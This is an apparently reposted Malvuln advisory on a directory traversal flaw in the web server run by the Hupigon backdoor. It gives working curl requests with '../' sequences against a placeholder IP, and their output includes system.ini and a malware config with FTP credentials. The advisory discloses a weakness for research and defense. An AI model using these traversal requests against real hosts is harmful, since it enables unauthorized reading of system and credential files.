Monday, September 27, 2021

Backdoor.Win32.Hupigon.afjk Directory Traversal

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/8dc8abc99c1e7908fe9d048a4e360960_B.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hupigon.afjk
Vulnerability: Directory Traversal
Description: The malware deploys a Web server listening on TCP port 80. Third-party attackers who can reach an infected host can read any file on the system using "../" path traversal characters to break out of the web root dir.
Type: PE32
MD5: 8dc8abc99c1e7908fe9d048a4e360960
Vuln ID: MVID-2021-0351
Disclosure: 09/25/2021

Exploit/PoC:
Read any file on the infected host)

curl http://x.x.x.x/../../../../../Windows/system.ini
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]

Read malware config)

curl http://x.x.x.x/../Users/Victim/Desktop/Operate.ini

[Operation]
ViewStyle=vsReport
SkinFile=
OnSound=1
Sound1=C:\Users\Victim\login.wav
Sound2=C:\Users\Victim\offline.wav
Sound3=C:\Users\Victim\setting.wav
Sound4=C:\Users\Victim\upfile.wav
Sound5=C:\Users\Victim\downfile.wav
TimerOut=20000
WriteLog=0
AutoUpClient=1
MaxConnections=0
AutoKeepTime=1
AutoWebServer=1
[LocalPort]
AutoSxport=8000
[FTP]
AutoSave=1
FTPServer=192.168.18.125
FTPport=21
FTPUser=admin
Password=abc123
Http=
IpFile=ip.txt
[VIP]
UserName=
[WebServer]
AutoSave=1
WebDir=C:\
WebPort=80

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
 

Copyright © 2021 Vulnerability Database | Cyber Details™

thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore